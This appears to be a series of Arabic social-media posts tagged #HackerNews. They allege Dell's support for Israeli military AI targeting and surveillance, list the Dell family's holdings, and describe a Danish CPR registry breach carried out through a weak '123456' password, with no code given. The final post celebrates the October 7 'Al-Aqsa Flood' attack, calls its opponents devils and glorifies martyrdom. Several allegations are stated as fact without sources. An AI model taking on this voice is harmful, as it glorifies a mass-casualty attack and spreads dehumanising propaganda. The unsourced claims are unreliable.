نظام ذكاء اصطناعي يُنتج "قوائم قتل" خوارزمية بناءً على تحليل بيانات الاتصالات والأنماط السلوكية، ويعمل على خوادم "ديل". · نظام "الإنجيل" (The Gospel): برنامج ذكاء اصطناعي آخر يُولّد أهدافًا للبنية التحتية، ويعتمد أيضًا على بنية "ديل" التحتية. · نظام "أين أبي؟" (Where's Daddy): أداة تُستخدم لتتبع الأفراد وقصفهم بمجرد عودتهم إلى منازلهم، وتعمل على نفس البنية التحتية. · منصة Palantir: وافقت "ديل" على تثبيت منتجات Palantir (مثل Foundry وOntology وAIP) على أجهزتها، وهذه المنصات تُستخدم في "مهام الحرب" في غزة وفي تحديد أهداف القصف. 🕵️ دعم المراقبة السيبرانية والوحدة 8200 · الوحدة 8200: تزوّد "ديل" وحدة الحرب السيبرانية الصهيونية الشهيرة بأجهزة حاسوب محمولة (Dell Pro-Rugged 13) مدعومة بالذكاء الاصطناعي لجمع المعلومات والمراقبة. · نظام Cognyte: تستخدم شركة Cognyte الصهيونية تقنيات "ديل" في أنظمتها للاستخبارات السيبرانية التي تتعقب الأفراد في غزة والضفة الغربية. · التعرف على الوجوه: توفر "ديل" الخوادم وأجهزة الحاسوب اللازمة لتشغيل أنظمة التعرف على الوجوه لشركة AnyVision الصهيونية. 🏢 المشاركة في البنية التحتية للاحتلال · حديقة السيبران الوطنية في النقب: تُعد "ديل" (عبر EMC Israel) من الشركات المشاركة في هذا المشروع الذي أُقيم بعد قرار حكومي لتعزيز القدرات السيبرانية بالتعاون بين الحكومة والجيش والصناعة. يهدف المشروع إلى تعزيز الاستيطان اليهودي في النقب، مما يُعرّض المجتمعات البدوية الفلسطينية للتهجير القسري. · مركز البحث والتطوير: لشركة "ديل" مركز أبحاث في رامات غان منذ 2006، وسّعته بعد استحواذها على شركات صهيونية ناشئة. #Dell #HackerNews

شركة ديل (Dell Technologies) هي واحدة من أكبر الشركات العالمية الرائدة في مجال تكنولوجيا المعلومات. تأسست على يد "مايكل ديل" ومقرها الرئيسي في مدينة راوند روك بولاية تكساس الأمريكية. 🇺🇸 تبلغ ثروة عائلة ديل، بقيادة مؤسس الشركة مايكل ديل وزوجته سوزان، ما بين 260 إلى 282 مليار دولار 💰، تمتلك العائلة إمبراطورية استثمارية شاسعة لا تقتصر على قطاع التكنولوجيا فقط، بل تمتد لتشمل العقارات الفاخرة، والبرمجيات، والطاقة، والأغذية، والرعاية الصحية: • Dell & Dell EMC: العلامة التجارية الأم لأجهزة الكمبيوتر، الشاشات، الحلول السحابية، وخوادم مراكز البيانات العملاقة. 💻 • Alienware: العلامة التجارية الأشهر عالمياً التابعة لديل والمخصصة لأجهزة وحواسب الألعاب الإلكترونية القوية (Gaming). 🎮 • SecureWorks: شركة كبرى مدرجة في البورصة ومتخصصة في خدمات الأمن السيبراني وحماية البيانات. 🔒 • Broadcom: تمتلك العائلة حصة بمليارات الدولارات في هذا العملاق العالمي للرقائق الإلكترونية (نتيجة استحواذ Broadcom على شركة البرمجيات التابعة لديل VMware). 📈 • Boomi: منصة سحابية شهيرة لربط البيانات وتكامل الأنظمة. ☁️ #Dell #HackerNews

وفقًا لتصريح الهاكر لصحيفة Politiken الدنماركية بعد أن تمكن من تسجيل الدخول إلى النظام، قام بكتابة برنامجين حاسوبيين مخصصين (سكريبتات ممتدة/Scripts) لتنفيذ المهمة، الأول وظيفته إرسال استعلامات وبحث آلي مكثف ومتتالي عبر أرقام مولدة للهوية الوطنية الدنماركية، والثاني يقوم بحفظ وسحب السجلات والبيانات الناتجة وشملت: • الأسماء الكاملة : الاسم الأول والعائلة كما هو مسجل رسميًا في الأوراق الحكومية. • العناوين السكنية : العناوين البريدية ومقرات الإقامة الحالية للمواطنين والمقيمين (أو آخر عنوان مسجل للمغتربين والراحلين). • أرقام الهوية الوطنية والضمان الاجتماعي (CPR Numbers): وهي الأرقام الأكثر حساسية في التسريب، حيث يُعد رقم "CPR" بمثابة الرقم القومي الفريد الذي يستخدمه الفرد في الدنمارك لإتمام كل شيء؛ بدءًا من فتح الحسابات البنكية، ودفع الضرائب، وصولاً إلى زيارة المستشفيات وشراء الأدوية من الصيدليات. لم يتم اكتشاف الاختراق إلا عندما فُوجئت شركة Pays ApS بفاتورة مالية مرتفعة للغاية وغير معتادة أرسلتها إليها إدارة السجل المركزي، حيث تُحتسب رسوم مالية على كل عملية بحث داخل قاعدة البيانات. وصف الهاكر الحادثة لوسائل الإعلام قائلًا: "الأمر يشبه أن يترك شخص ما حقيبة تحتوي على 10 كيلوغرامات من البلوتونيوم النووي دون حراسة في محطة قطار، ثم يأتي شخص مشرد ويقوم بسرقتها..." #HackerNews

شهدت الدنمارك أكبر عملية اختراق في التاريخ لبيانات مواطنيها، حيث نجح هاكر مجهول من الوصول "للسجل الوطني المركزي للأفراد" (CPR) ما أسفر عن الوصول غير القانوني للبيانات الشخصية لنحو 8.8 ملايين شخص يمثلون كامل الشعب الدنماركي. الهاكر استغل كلمة مرور ضعيفة لحساب موظف في شركة Pays ApS لديها وصول قانوني كجهة خارجية للتحقق من هوية عملائها (KYC/Identity Verification)، وقد اخترق الهاكر حساب موظف سابق بالشركة كان محميًا بكلمة مرور ضعيفة وهي "123456" عبر النظام. #HackerNews

تمر اليوم الذكرى الثالثة لعملية طوفان الأقصى المبارك 🕊، ذلك اليوم العظيم الذي كسر فيه الفلسطينيون حاجز الصمت وصفعوا وجه الكيان الصهيوني المحتل. كان ذلك اليوم امتدادًا لما قبله من مقاومة لمستعمر أخذ الأرض المقدسة وقتل وهجّر وعذّب شعبًا ولد من هذه الأرض، على أرض فلسطين ارتكب الصهاينة مجازر لم تتوقف ليوم واحد، حرقوا المساجد ودمروا كنائس وقطعوا الأشجار وأفسدوا في الأرض فسادًا كبيرًا. بعد السابع من أكتوبر انقسم العالم لفسطاطين، فسطاط من البشر مع حقوق الفلسطينيين في المقاومة والعيش بسلام على أرضهم، وفسطاط شياطين كانت تلبس قناع البشر وسقط عنها كل قناع ولباس يستر عورتها. المقاومة حق طبيعي لا يحق لأيٍ كان أن يتحاور أو يتناقش فيه أو يسقطه عن صاحبه مهما تقادم الاستعمار ومهما كانت قوة هذا المحتل وعدته وعتاده وأعوانه. قاوم أيها الفلسطيني ولو بحجرٍ صغير فحجارتكم لا تعرف الخنوع، قاوم أيها الفلسطيني ولو بكلمة فكلماتك كالرصاص وإنك على طريق الحق المبين، عاشت المقاومة وكل من سار على دربها من أحرار العالم، وعاشت فلسطين حرة أبية ولو كره المنافقون، والمجد والخلود للشهداء الأبرار. بقلم Hacker News #HackerNews